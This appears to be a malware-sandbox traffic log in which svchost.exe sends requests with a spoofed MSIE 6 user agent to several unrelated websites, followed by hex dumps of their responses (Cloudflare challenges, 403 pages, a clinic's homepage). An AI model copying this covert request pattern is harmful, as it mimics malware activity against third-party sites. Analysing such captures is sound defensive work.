2023-03-10 06:56:16 UTC	662	IN	Data Raw: 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6c Data Ascii: th,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <img cl
2023-03-10 06:56:16 UTC	663	IN	Data Raw: 6e 3d 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 31 48 62 32 51 53 6a 39 58 77 41 6c 42 52 59 6f 6e 41 46 77 57 32 72 49 6e 54 72 43 57 6c 42 61 4f 32 41 54 36 44 2e 44 6c 4e 67 2d 31 36 37 38 34 33 31 33 37 36 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 76 5f 69 54 51 6c 52 72 49 53 4c 52 69 6b 4d 31 4c 69 66 59 38 33 68 73 4f 49 56 4e 30 4b 50 4b 57 52 6b 44 6e 45 58 67 71 72 4d 2d 31 36 37 38 34 33 31 33 37 36 2d 30 2d Data Ascii: n="/?__cf_chl_f_tk=1Hb2QSj9XwAlBRYonAFwW2rInTrCWlBaO2AT6D.DlNg-1678431376-0-gaNycGzNCRA" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="v_iTQlRrISLRikM1LifY83hsOIVN0KPKWRkDnEXgqrM-1678431376-0-
2023-03-10 06:56:16 UTC	664	IN	Data Raw: 57 58 65 2d 30 78 59 4c 37 6b 67 4c 67 39 6e 63 63 67 52 74 47 71 38 70 68 59 6c 50 74 77 56 58 31 52 2d 58 37 34 70 7a 76 33 45 64 34 67 6c 74 54 76 55 31 53 79 6d 47 32 6a 67 6b 74 64 43 38 61 37 39 78 5f 51 54 4b 70 34 4b 5f 74 6f 4c 56 6d 78 44 4a 62 64 47 56 74 31 61 5f 52 53 56 43 50 78 30 4c 6d 45 43 41 5f 5a 49 48 58 5f 59 6b 35 43 51 74 67 39 6b 66 7a 6e 71 74 72 43 4a 4c 35 42 7a 67 72 45 4d 41 53 47 64 6d 61 6b 64 77 4e 72 76 4c 62 78 31 53 56 6f 76 37 54 57 49 74 71 58 58 66 75 37 4c 42 48 75 55 50 61 58 58 77 72 71 4e 44 4c 61 35 6c 56 57 76 59 6a 5a 7a 71 55 73 44 4f 63 5a 4c 70 61 6c 45 6a 2d 6a 4f 78 6d 44 4e 76 34 65 2d 6d 63 56 46 44 50 4a 68 64 4b 56 64 54 64 62 4a 71 4a 31 67 50 43 32 65 47 76 74 47 46 30 49 4c 30 6b 4c 52 62 38 67 57 Data Ascii: WXe-0xYL7kgLg9nccgRtGq8phYlPtwVX1R-X74pzv3Ed4gltTvU1SymG2jgktdC8a79x_QTKp4K_toLVmxDJbdGVt1a_RSVCPx0LmECA_ZIHX_Yk5CQtg9kfznqtrCJL5BzgrEMASGdmakdwNrvLbx1SVov7TWItqXXfu7LBHuUPaXXwrqNDLa5lVWvYjZzqUsDOcZLpalEj-jOxmDNv4e-mcVFDPJhdKVdTdbJqJ1gPC2eGvtGF0IL0kLRb8gW
2023-03-10 06:56:16 UTC	666	IN	Data Raw: 61 79 3a 20 27 37 61 35 39 61 38 32 36 37 64 64 36 39 61 33 35 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 37 37 62 31 61 33 35 66 32 35 31 39 33 65 63 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 31 48 62 32 51 53 6a 39 58 77 41 6c 42 52 59 6f 6e 41 46 77 57 32 72 49 6e 54 72 43 57 6c 42 61 4f 32 41 54 36 44 2e 44 6c 4e 67 2d 31 36 37 38 34 33 31 33 37 36 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 52 41 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a 20 20 20 20 Data Ascii: ay: '7a59a8267dd69a35', cHash: '77b1a35f25193ec', cUPMDTk: "\/?__cf_chl_tk=1Hb2QSj9XwAlBRYonAFwW2rInTrCWlBaO2AT6D.DlNg-1678431376-0-gaNycGzNCRA", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0',
2023-03-10 06:56:16 UTC	667	IN	Data Raw: 59 34 6f 43 70 5a 65 6c 59 65 43 77 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 6b 4b 4d 4d 6c 55 41 2f 49 70 58 69 4a 4d 6b 4c 4d 58 55 59 37 77 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 4c 37 73 6b Data Ascii: Y4oCpZelYeCw==', i2: 'kKMMlUA/IpXiJMkLMXUY7w==', zh: 'dLh94ZXLsMaToGD3/q9Biumac6yxQVUZ4c2jt4YJnaU=', uh: 'fxu5/iQvP/znAL98cFPpz0DjrmE3o44WMdZr6aZQRsQ=', hh: 'jW2xRBsqW1vLtuBooX9aKmED2cZhAL7sk
2023-03-10 06:56:16 UTC	668	IN	Data Raw: 55 48 61 73 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 55 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 70 6f 29 3b 0a 20 20 20 20 7d 28 29 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 Data Ascii: UHash); cpo.onload = function() { history.replaceState(null, null, ogU); }; } document.getElementsByTagName('head')[0].appendChild(cpo); }());</script> <div class="footer" role="contentinf
2023-03-10 06:56:16 UTC	669	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.6	54841	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	660	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:16 UTC	669	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:16 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:16 UTC	669	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.6	54839	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	670	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-03-10 06:56:16 UTC	670	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:16 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-03-10 06:56:16 UTC	671	IN	Data Raw: 32 64 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c Data Ascii: 2de<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.6	54895	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	670	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co Cookie: d55e479f054c94814cbc10d217aaa990=bbd2a9ecd1f16e6deb08a6c096c7155a
2023-03-10 06:56:16 UTC	725	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Last-Modified: Fri, 10 Mar 2023 06:56:16 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yFEYUz98wBC9DpHKM54h0X0q890F4S9JvhUz8icU1gu7cl%2BIaJ3lMl3Cr%2ByQ%2FVPHqF%2FeEsBRiezdqwV94L%2BUrK2%2FA5rBzJHuF1K6D0LKYDMITTi2kJZXCuSGejgULTxoDZqn12cNWDo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a82739699a24-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:16 UTC	726	IN	Data Raw: 37 63 61 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7cab<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-03-10 06:56:16 UTC	726	IN	Data Raw: 6c 65 73 2f 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2d 63 6f 6d 70 69 6c 65 64 2f 6e 75 63 6c 65 75 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 74 65 Data Ascii: les/mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href="/media/gantry5/users/nucleus/css-compiled/nucleus.css" rel="stylesheet" /><link href="/te
2023-03-10 06:56:16 UTC	727	IN	Data Raw: 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f 72 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 6a 73 2f 72 6f 6b 62 6f 78 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 6a 75 69 2f 6a 73 2f 62 6f 6f 74 Data Ascii: m/js/mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/plugins/system/rokbox/assets/js/rokbox.js"></script><script src="/media/jui/js/boot
2023-03-10 06:56:16 UTC	729	IN	Data Raw: 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 70 6e 67 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 Data Ascii: /users/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script> <![endif]--><link rel="shortcut icon" href="/images/favicon.png"></head><body class="
2023-03-10 06:56:16 UTC	730	IN	Data Raw: 63 6b 20 73 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 6c 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 30 34 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e Data Ascii: ck size-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-toplevel"><li class="g-menu-item g-menu-item-type-separator g-menu-item-104 g-parent g-standard ">
2023-03-10 06:56:16 UTC	731	IN	Data Raw: 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 65 64 69 61 74 72 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c Data Ascii: -item g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"> <span class="g-menu-item-content"><span class="g-menu-item-title">Pediatras</span></span></a></li><l
2023-03-10 06:56:16 UTC	733	IN	Data Raw: 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e Data Ascii: /li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-container" data-g-menuparent=""> <span class="g-separator g-menu-item-content"> <span class="g-men
2023-03-10 06:56:16 UTC	734	IN	Data Raw: 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 76 61 6c 6f 72 65 73 2d 63 6f 72 70 6f 72 61 74 69 76 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 Data Ascii: s="g-menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/valores-corporativos"><span class="g-menu-i
2023-03-10 06:56:16 UTC	735	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 20 67 2d 69 6e 61 63 74 69 76 65 20 67 2d 66 61 64 65 20 67 2d 64 72 6f 70 64 6f 77 6e 2d 72 69 67 68 74 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 2d 63 6f 6c 75 6d 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 Data Ascii: menu-item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent=""></span> </a><ul class="g-dropdown g-inactive g-fade g-dropdown-right"><li class="g-dropdown-column"><div class="g-gr
2023-03-10 06:56:16 UTC	737	IN	Data Raw: 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 64 75 63 61 63 69 c3 b3 6e 20 79 20 70 72 6f 6d 6f 63 69 c3 b3 6e 20 70 61 72 61 20 6c 61 20 64 6f 6e 61 63 69 c3 b3 